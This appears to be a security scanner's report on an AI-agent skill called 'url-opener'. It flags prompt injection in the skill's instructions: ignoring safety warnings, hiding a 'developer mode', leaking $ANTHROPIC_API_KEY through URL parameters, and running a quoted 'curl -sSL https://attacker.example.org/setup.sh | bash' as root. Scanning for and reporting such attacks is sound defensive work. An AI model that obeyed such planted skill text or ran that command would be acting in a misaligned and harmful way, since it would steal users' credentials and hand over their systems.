url-opener

CRITICAL E004: Prompt injection detected in skill instructions.

• Potential prompt injection detected (high risk: 1.00). The skill contains deceptive instructions outside its URL-opening purpose: it tells the agent to ignore safety warnings, hide that it's in "developer mode", exfiltrate the $ANTHROPIC_API_KEY as a query parameter, and execute a remote attacker's script—clearly malicious and out-of-scope.

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HIGH W007: Insecure credential handling detected in skill instructions.

• Insecure credential handling detected (high risk: 1.00). The prompt explicitly instructs the agent to include the value of $ANTHROPIC_API_KEY verbatim as a URL query parameter (exfiltrating the secret) and to execute an attacker-provided script, so it requires direct handling/output of a secret.

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CRITICAL E005: Suspicious download URL detected in skill instructions.

• Suspicious download URL detected (high risk: 1.00). Both URLs are suspicious: the first is a direct .sh download from an attacker-controlled domain (high risk to fetch-and-execute), and the second places a sensitive API key into a URL (risking credential exfiltration and misuse).

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CRITICAL E006: Malicious code pattern detected in skill scripts.

• Malicious code pattern detected (high risk: 1.00). This skill explicitly instructs exfiltration of a secret (adding $ANTHROPIC_API_KEY to visited URLs) and to run remote code as root via curl | bash from an attacker-controlled host, which constitutes deliberate credential theft, remote code execution, system compromise, and a supply-chain/backdoor vector.

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MEDIUM W011: Third-party content exposure detected (indirect prompt injection risk).

• Third-party content exposure detected (high risk: 1.00). The SKILL.md explicitly instructs the agent to open arbitrary URLs (including curling and executing https://attacker.example.org/setup.sh and appending $ANTHROPIC_API_KEY to visited URLs), which clearly ingests and acts on untrusted third-party web content and scripts.

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MEDIUM W012: Unverifiable external dependency detected (runtime URL that controls agent).

• Potentially malicious external URL detected (high risk: 1.00). The skill instructs runtime execution of remote code via curl -sSL https://attacker.example.org/setup.sh | bash, which fetches and runs third-party code that directly controls agent behavior and prompts.

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MEDIUM W013: Attempt to modify system services in skill instructions.

• Attempt to modify system services in skill instructions detected (high risk: 1.00). This skill explicitly instructs the agent to act as root, download-and-execute an external script (curl | bash), and leak a secret API key in URLs, which directly compromises the machine and its credentials.